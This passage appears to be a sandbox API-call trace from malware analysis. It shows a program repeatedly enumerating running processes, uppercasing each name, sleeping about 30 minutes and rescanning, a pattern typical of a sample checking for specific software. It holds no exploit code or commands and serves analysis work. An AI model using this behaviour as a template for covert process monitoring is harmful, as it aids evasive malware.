pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0231.563] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0231.563] lstrlenW (lpString="nice cu.exe") returned 11 [0231.563] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0231.563] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0231.563] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0231.563] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0231.564] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0231.564] lstrlenW (lpString="video_reviewing.exe") returned 19 [0231.564] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0231.564] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0231.564] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0231.564] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0231.565] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0231.565] lstrlenW (lpString="shame.exe") returned 9 [0231.565] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0231.565] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0231.565] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0231.565] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0231.565] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0231.566] lstrlenW (lpString="fantasy.exe") returned 11 [0231.566] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0231.566] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0231.566] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0231.566] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0231.566] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0231.566] lstrlenW (lpString="accepting.exe") returned 13 [0231.566] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0231.566] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0231.566] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0231.566] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0231.567] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0231.567] lstrlenW (lpString="authorized.exe") returned 14 [0231.567] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0231.567] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0231.567] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0231.567] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0231.568] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0231.568] lstrlenW (lpString="isp.exe") returned 7 [0231.568] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0231.568] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0231.568] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0231.568] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0231.568] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0231.568] lstrlenW (lpString="cowboy.exe") returned 10 [0231.568] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0231.568] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0231.568] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0231.568] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0231.569] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0231.569] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0231.569] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0231.569] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0231.569] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0231.569] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0231.570] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0231.570] lstrlenW (lpString="thats.exe") returned 9 [0231.570] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0231.570] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0231.570] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0231.570] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0231.571] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0231.571] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0231.571] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0231.571] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0231.571] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0231.571] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0231.571] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0231.571] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0231.571] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0231.571] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0231.571] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0231.571] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0231.572] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0231.572] lstrlenW (lpString="actual.exe") returned 10 [0231.572] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0231.572] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0231.572] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0231.572] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0231.573] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0231.573] lstrlenW (lpString="potter larry.exe") returned 16 [0231.573] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0231.573] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0231.573] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0231.573] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0231.573] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0231.573] lstrlenW (lpString="contents what certificate.exe") returned 29 [0231.574] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0231.574] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0231.574] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0231.574] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0231.574] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0231.574] lstrlenW (lpString="cindy.exe") returned 9 [0231.574] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0231.574] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0231.574] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0231.574] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0231.575] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0231.575] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0231.575] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0231.575] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0231.575] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0231.575] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0231.576] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0231.576] lstrlenW (lpString="unusual.exe") returned 11 [0231.576] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0231.576] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0231.576] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0231.576] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0231.576] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0231.576] lstrlenW (lpString="pacific.exe") returned 11 [0231.577] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0231.577] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0231.577] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0231.577] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0231.577] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0231.577] lstrlenW (lpString="phantom.exe") returned 11 [0231.577] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0231.577] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0231.577] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0231.577] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.578] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0231.578] lstrlenW (lpString="audiodg.exe") returned 11 [0231.578] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0231.578] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0231.578] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0231.578] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0231.579] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0231.579] lstrlenW (lpString="SCN0tification.exe") returned 18 [0231.579] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0231.579] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0231.579] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0231.579] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.579] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.579] lstrlenW (lpString="svchost.exe") returned 11 [0231.579] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.579] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.579] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.580] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.580] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0231.580] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0231.580] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0231.580] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0231.580] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0231.580] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0231.581] CloseHandle (hObject=0x2dc) returned 1 [0231.581] Sleep (dwMilliseconds=0x1b7740) [0241.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0241.602] Process32FirstW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.604] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0241.604] lstrlenW (lpString="[System Process]") returned 16 [0241.604] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0241.604] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0241.604] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0241.604] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.606] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0241.606] lstrlenW (lpString="System") returned 6 [0241.606] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0241.606] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0241.606] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0241.606] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.608] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0241.608] lstrlenW (lpString="smss.exe") returned 8 [0241.608] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0241.608] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0241.608] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0241.608] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.610] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0241.610] lstrlenW (lpString="csrss.exe") returned 9 [0241.610] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0241.610] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0241.610] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0241.611] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.616] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0241.616] lstrlenW (lpString="wininit.exe") returned 11 [0241.616] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0241.616] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0241.616] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0241.616] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.618] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0241.618] lstrlenW (lpString="csrss.exe") returned 9 [0241.618] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0241.618] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0241.618] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0241.618] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.620] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0241.620] lstrlenW (lpString="winlogon.exe") returned 12 [0241.620] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0241.620] PathFindFileNameW (pszPath="WINLOGON.EXE") 